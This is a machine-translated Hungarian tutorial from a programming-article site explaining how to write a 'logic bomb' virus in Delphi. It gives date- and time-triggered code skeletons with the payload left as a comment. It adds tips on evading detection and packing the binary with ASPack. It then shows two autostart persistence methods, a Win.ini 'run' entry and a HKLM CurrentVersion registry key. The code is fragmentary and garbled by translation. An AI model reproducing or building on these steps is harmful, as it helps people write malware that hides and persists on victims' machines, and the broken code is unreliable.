Logikai bomba - Delphi - Programozás - cikk Directory
Helló olvasó. Üdvözöljük a tutorial, hogy egy logikai bombát. Logikai bomba (ha nem tévedek) egyfajta vírus. Alapelve egyszerű. Ez fut egy adott programkód a teljesítménye bizonyos körülmények között. Gyakran ez az állapot az időt vagy a dátumot.
Szóval le a kódot:
0) Kezdés Delphi.
1) Új projekt létrehozása.
2) Vedd el forma a projekt. (Project => eltávolítani projekt => Válassza ki a forma => OK => ablak, el kell fogadnod => mindent! Form törölve)
3) Nyílt tér kódot írni (project => view source =>
Program log_bomb; // A név bármi lehet
A Windows; // plug-inek, mint kevesebbet. A jobb.
kezdődik
// Ha a dátum 1111/11/11 a kódot írt művek
Ha datetostr (dátum) = '11 .11.1111' , majd
Kezdje // között kezdődik
// Sam kód, amely végrehajtja az állapot
Vége;
És most néhány tippet.
1) Mindig a végén jobban levelet EXIT; Ne fogott nem pusztult - törvény vírusok.
2) Ha szükséges, a tűz a program egy bizonyos ideig. Meg kell írni a következő elemeket tartalmazza:
Ha timetostr (idő) = '22: 22' , akkor
kezdődik
// kód
Vége;
3) Néha, amikor csatlakoztatja sok modul a program lesz a „birodalmi nagyság”
Ezekben az esetekben szükséges használni ASPACK'om. Ez csökkenteni fogja a mérete mintegy kétszerese.
4) Mindig ellenőrizze az autostart. Lehet, hogy valami hasonlót már működik az Ön számára.
Most azt fogja mondani, hogyan kell ezt csinálni két módja van: a Win.ini és a regisztrációs adatbázisban. Folytassuk.
1) Egy módszer Win.ini
Ehhez tudnunk kell, hogy hogyan kell dolgozni INI fájlokat.
Program INIFI;
Felhasználás inifiles;
// kijelenti változó dolgozni ini fájlok
Var reg: tinifile;
kezdődik
// memóriát lefoglalni egy változó, nyissa meg a fájlt
reg: = tinifile.create ( 'Win.ini');
// Közvetlenül előírt
reg.writestring ( 'ablakot', 'run', application.ExeName);
// Release memória
reg.free;
exit;
végén.
Nézzük laknak ezen a vonalon több:
// Változó reg típusú karakterlánc bejegyzés, ami zárójelben van feltüntetve
2) A módszer segítségével a registry.
Nagyon hasonlít az 1. módszer), csak akkor működik a regisztrációs és egyéb tényezők. Szóval Folytassuk.
Program regis;
Felhasználás inifiles;
Var terhelés: treginifile;
// Válassza ki a ághoz
load.RootKey: = HKEY_LOCAL_MACHINE;
// Select gomb
load.OpenKey (softwaremicrosoftwindowscurrentversion ", false);
Load.free;
exit;
végén.
Ez egyszerű. Tekintsük a főbb pontok:
Peremennaya.Rootkey =
Peremennaya.openkey (kulcs neve)